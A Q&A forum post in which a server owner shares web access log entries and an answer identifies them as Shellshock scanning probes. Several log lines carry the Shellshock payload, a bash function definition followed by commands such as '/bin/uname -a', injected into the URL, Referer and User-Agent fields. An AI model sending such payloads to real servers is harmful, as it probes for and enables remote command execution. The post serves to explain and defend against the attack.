strange web server log activity

Question

I've noticed some suspicious activity in my webser logs:

188.165.66.110 - - [20/Feb/2015:03:58:28 +0000] "GET /?x=()?x=()?x=()?x=() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @ HTTP/1.0" 301 178 "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @" "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @"

188.165.66.110 - - [20/Feb/2015:03:58:23 +0000] "GET /?x=()?x=() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @ HTTP/1.0" 301 178 "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @" "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @"

188.165.66.110 - - [20/Feb/2015:03:58:23 +0000] "GET /?x=()?x=()?x=() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @ HTTP/1.0" 301 178 "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @" "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @"

188.165.66.110 - - [20/Feb/2015:03:58:17 +0000] "GET /?x=() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @ HTTP/1.0" 301 178 "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @" "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @"

176.190.169.100 - - [19/Feb/2015:20:06:36 +0000] "\x9B9\x8C\x13s\xF2\xE2^T\x1BL\x07\xE8\x22\x1CY4\x91`\x0F\x0ELh\xDCXEeZ\x87\x8E/\x5C\x903\xEF\x1F\x07\xD9[J" 400 166 "-" "-"</code><br><br> <code>109.239.221.237 - - [19/Feb/2015:20:07:16 +0000] "6\x92@\x88u\xD3+/\xD2\xD2\xFE\x98\xF4C\xB3\x89\x04;\xA7\xF1U\xF8\xA5\x02\xD8\xA4\xCCK\x9F\xC6e\x11" 400 166 "-" "-"

Any ideas what he was trying to achieve here?

Answer 1

This is an known attack, Shellshock. On servers with a vulnerable bash shell, the attacker can exploit an condition that executes shell commands by sending a special crafted URL.

Basically, the attacker is scanning your server to see if it is vulnerable to it. If your server was found to be vulnerable, probably you would see a few wget/curl being sent in the URLs as well.